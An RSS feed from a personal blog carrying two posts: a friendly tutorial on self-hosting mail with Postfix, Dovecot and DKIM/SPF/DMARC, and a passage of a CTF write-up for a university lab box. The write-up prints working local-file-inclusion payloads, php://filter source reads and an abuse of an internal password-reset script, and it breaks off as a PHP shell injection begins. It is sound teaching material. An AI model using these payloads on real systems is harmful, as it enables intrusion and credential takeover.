<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Posts on AlipourIm journeys</title><link>https://blog.alipour.eu/posts/</link><description>Recent content in Posts on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 24 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)</title><link>https://blog.alipour.eu/posts/self_hosting_mail/</link><pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/self_hosting_mail/</guid><description>A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again).</description><content:encoded><![CDATA[<blockquote>
<p>If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do <strong>not</strong> assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.</p></blockquote>
<p>I wanted real email on my own machine — <code>mail.alipourimjourneys.ir</code> — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)</p>
<p>By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand <em>why</em> those pieces exist, which is the part the shiny installers quietly skip.</p>
<hr>
<h2 id="why-i-bothered">Why I bothered</h2>
<p>Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.</p>
<p>I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.</p>
<hr>
<h2 id="how-email-actually-moves">How email actually moves</h2>
<p>Imagine a post office that both receives letters from other post offices <em>and</em> lets you drop off letters to send — but only if you show ID at the counter.</p>
<p><strong>Postfix</strong> is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port <strong>25</strong>. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).</p>
<p>When <em>you</em> want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use <strong>submission</strong>, usually port <strong>587</strong>, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.</p>
<p><strong>Dovecot</strong> is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port <strong>993</strong> so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.</p>
<p><strong>OpenDKIM</strong> sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.</p>
<p>Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.</p>
<p>Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.</p>
<hr>
<h2 id="the-shape-of-my-setup">The shape of my setup</h2>
<p>On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under <code>/srv/services/mail/</code> runs Postgres only for that mail world, listening on <code>127.0.0.1:5433</code>. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.</p>
<p>Nginx terminates HTTPS for a little portal at <code>mail.alipourimjourneys.ir</code>, the admin UI at <code>mailadmin.alipourimjourneys.ir</code>, and Roundcube at <code>webmail.alipourimjourneys.ir</code>. Clients still talk to <code>mail.alipourimjourneys.ir</code> for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.</p>
<hr>
<h2 id="port-25-is-for-servers-port-587-is-for-people">Port 25 is for servers; port 587 is for people</h2>
<p>This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.</p>
<p>Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed <em>to your domain</em>, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.</p>
<p>Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.</p>
<p>I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.</p>
<hr>
<h2 id="what-an-open-relay-is-and-why-localhost-lies-to-you">What an “open relay” is, and why localhost lies to you</h2>
<p>An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.</p>
<p>Here’s the trick that wastes afternoons: testing from <code>127.0.0.1</code>.</p>
<p>Postfix treats localhost as friendly. Cron jobs, monitoring, local <code>sendmail</code> calls — they need to inject mail without performing a full human login. That friendliness is encoded in <code>mynetworks</code>. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.</p>
<p>So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from <code>evil@example.com</code> to <code>someone@example.com</code>, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of <code>454 Relay access denied</code>. A cheerful <code>250</code> on that recipient line is how you wake up as someone else’s cannon.</p>
<p>Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”</p>
<hr>
<h2 id="dns-but-make-it-human">DNS, but make it human</h2>
<h3 id="the-forward-map-name--number">The forward map (name → number)</h3>
<p>You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an <strong>MX</strong> record, which is simply a polite note: “if you’re delivering mail for this domain, knock on <em>that</em> hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.</p>
<p>I put <code>mail.alipourimjourneys.ir</code> on funbox for both v4 and v6, pointed MX at that name, and added <code>webmail</code> and <code>mailadmin</code> the same way.</p>
<h3 id="why-cloudflares-orange-cloud-is-not-invited">Why Cloudflare’s orange cloud is not invited</h3>
<p>Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.</p>
<p>Mail hostnames stay <strong>DNS-only</strong> — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.</p>
<hr>
<h2 id="ptr-records-the-phonebook-in-reverse">PTR records: the phonebook in reverse</h2>
<p>This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.</p>
<p>Normal DNS is a phonebook from names to numbers: you look up <code>mail.example.com</code> and learn the IP. <strong>Reverse DNS</strong> is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a <strong>PTR</strong> record.</p>
<p>Those reverse records do <em>not</em> live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for <code>alipourimjourneys.ir</code> does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.</p>
<p>So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to <code>mail.alipourimjourneys.ir</code>, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.</p>
<p>You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.</p>
<hr>
<h2 id="spf-dkim-and-dmarc-three-different-questions">SPF, DKIM, and DMARC: three different questions</h2>
<p>People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.</p>
<p><strong>SPF</strong> answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then <code>-all</code>, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer <code>~all</code> exists for a reason. I wasn’t mid-migration. I was building one source of truth.</p>
<p><strong>DKIM</strong> answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.</p>
<p><strong>DMARC</strong> answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with <code>p=none</code> (watch and learn), move to <code>quarantine</code> (bad mail goes to spam), and later <code>reject</code> when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.</p>
<p>Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.</p>
<p>Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.</p>
<hr>
<h2 id="building-the-unglamorous-core">Building the unglamorous core</h2>
<p>On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for <code>mail.alipourimjourneys.ir</code>, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.</p>
<p>Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under <code>/var/spool/postfix</code>, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the <code>postfix</code> user connect.</p>
<p>I briefly had two <code>Socket</code> lines in <code>opendkim.conf</code>. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: <code>DKIM-Signature field added</code>. Instant serotonin.</p>
<p>When <code>opendkim-testkey</code> says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.</p>
<hr>
<h2 id="the-matrix-certificate-heist-that-wasnt-a-heist">The Matrix certificate heist (that wasn’t a heist)</h2>
<p>Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting <code>mail.…</code> and found <strong><code>matrix.alipourimjourneys.ir</code></strong> smiling back.</p>
<p>No attacker. No cosmic joke from Let’s Encrypt. Just nginx.</p>
<p>When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no <code>server_name</code> matches, nginx shrugs and uses the <strong>default</strong> server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.</p>
<p>Later I repeated a sibling mistake with <code>webmail.</code>: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting <code>https://webmail.…</code> still fell through to the default server and received Matrix’s cert again. Same villain, new episode.</p>
<p>The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.</p>
<hr>
<h2 id="from-linux-users-to-real-mailboxes">From Linux users to real mailboxes</h2>
<p>The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.</p>
<p>So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under <code>/var/vmail/...</code> owned by a dedicated <code>vmail</code> user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.</p>
<p>Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.</p>
<p>One setting decides whether this feels cursed or calm: <code>mydestination</code>.</p>
<p>That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is <code>mail.alipourimjourneys.ir</code> and you also leave that name in <code>mydestination</code>, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set <code>mydestination</code> to localhost and let the mail domain be virtual. Suddenly the model matched reality.</p>
<p>PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”</p>
<p>One more client quirk: some apps send only <code>ialipour</code> as the username. The database stores <code>ialipour@mail.…</code>. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or <code>local-part@mail.alipourimjourneys.ir</code> did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.</p>
<hr>
<h2 id="webmail-without-losing-the-plot">Webmail without losing the plot</h2>
<p>Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.</p>
<p>I flirted with serving it under a path like <code>/webmail</code> on the main mail hostname while also serving it at the root of <code>webmail.…</code>. Roundcube has opinions about its base path. If you tell it “you live under <code>/webmail</code>” and then put it at <code>/</code> on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.</p>
<p>The calm ending: Roundcube lives at <code>https://webmail.alipourimjourneys.ir/</code> as the site root. The portal links there. Path experiments go in the diary under “character development.”</p>
<hr>
<h2 id="the-bounce-emails-that-taught-me-about-identity">The bounce emails that taught me about identity</h2>
<p>After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail <code>root</code>. My system identity still thought the local domain was <code>mail.alipourimjourneys.ir</code>, so <code>root</code> became <code>root@mail.alipourimjourneys.ir</code>. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.</p>
<p>The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased <code>root</code> to my real virtual address so necessary noise still reaches a human. <code>myhostname</code> can still announce itself as <code>mail.…</code> on the SMTP banner. Different knobs, different jobs.</p>
<p>Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving <code>vmail</code> ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.</p>
<p>And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in <code>/var/log/mail.log</code> so repeated guessing gets a timeout instead of an unlimited hobby.</p>
<hr>
<h2 id="what-done-means-for-me">What “done” means for me</h2>
<p>For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at <code>mail.alipourimjourneys.ir</code>, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.</p>
<p>Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”</p>
<p>If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.</p>
<hr>
<h3 id="links">Links</h3>
<ul>
<li>Portal: <a href="https://mail.alipourimjourneys.ir">mail.alipourimjourneys.ir</a></li>
<li>Webmail: <a href="https://webmail.alipourimjourneys.ir">webmail.alipourimjourneys.ir</a></li>
<li>Admin: <a href="https://mailadmin.alipourimjourneys.ir">mailadmin.alipourimjourneys.ir</a></li>
</ul>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/self_hosting_mail.md">Markdown</a> ·
    <a href="/sources/posts/self_hosting_mail.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
jSo2Yw//UtI5N8jeF&#43;LTvsVHqDbTVyD&#43;x6qiMgRGT4Kpn86V&#43;6NaVjrs6h&#43;kc5Xy
TD9gzCfpwsyfSDBGQ2SHM&#43;bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
HhcRfnS1ICk&#43;hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
4kgsu5qV7bhB2IyS6nYb&#43;A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
4BAMhpgk4baTz0&#43;fSjWiKSokQhizXvB6vK21qu2O&#43;5WbkyY/LLi0klLlF2UqhKnU
HE3&#43;dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx&#43;Ec6&#43;nHiwtLu
O&#43;8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
0k4KDrEbfIvoowTRRXmNpHV&#43;ttSYanjzTl3oQQZ&#43;Y9H&#43;g&#43;uPrfh8oUvivrj&#43;2ZOn
iv9oMoW6Q3rB7V/2&#43;jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
=KCRU
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
  </pre>
</div>


]]></content:encoded></item><item><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title><link>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</link><pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/</guid><description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description><content:encoded><![CDATA[<blockquote>
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I&rsquo;ll wait. …No? Ok. Hello friends.</p></blockquote>
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>&rsquo;s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who &ldquo;just quickly fixes prod&rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
<ol>
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
</ol>
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
<hr>
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
<p>From the outside you mostly see three faces of the same machine:</p>
<table>
  <thead>
      <tr>
          <th>Host</th>
          <th>What it is</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>g00.tuw.measurement.network</code></td>
          <td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
      </tr>
      <tr>
          <td><code>web.g00.tuw.measurement.network</code></td>
          <td>PHP &ldquo;meme gallery&rdquo; with a very trusting <code>?page=</code> parameter</td>
      </tr>
      <tr>
          <td><code>pwreset.g00.tuw.measurement.network</code></td>
          <td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
      </tr>
  </tbody>
</table>
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code>–<code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
<hr>
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
<p>First stop: the main site.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
<ul>
<li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li>
<li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li>
</ul>
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
<p>Subdomains resolve. Good. Let&rsquo;s go web.</p>
<hr>
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd&#39;</span>
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
<p>Source via PHP filter works too:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | sed -n <span style="color:#e6db74">&#39;s/.*frame name=&#34;in&#34;&gt;//p&#39;</span> | base64 -d
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;page&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;home.php&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn&#39;t work</span>
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
</span></span></code></pre></div><p>Same for <code>user2</code>–<code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
<hr>
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn&rsquo;t care about nginx</h2>
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
</span></span></code></pre></div><p>So you can&rsquo;t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that&rsquo;s a local file include, not an HTTP request.</p>
<p>pwreset source (paraphrased):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;user&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;pass&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">&#39;/var/www/userchange&#39;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Password reset queued.&#34;</span>;
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
<p><strong>Trigger it through LFI:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span>  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
</span></span><span style="display:flex;"><span>  &amp;user=user1
</span></span><span style="display:flex;"><span>  &amp;pass=MyTestPass1!
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
<hr>
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn&rsquo;t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
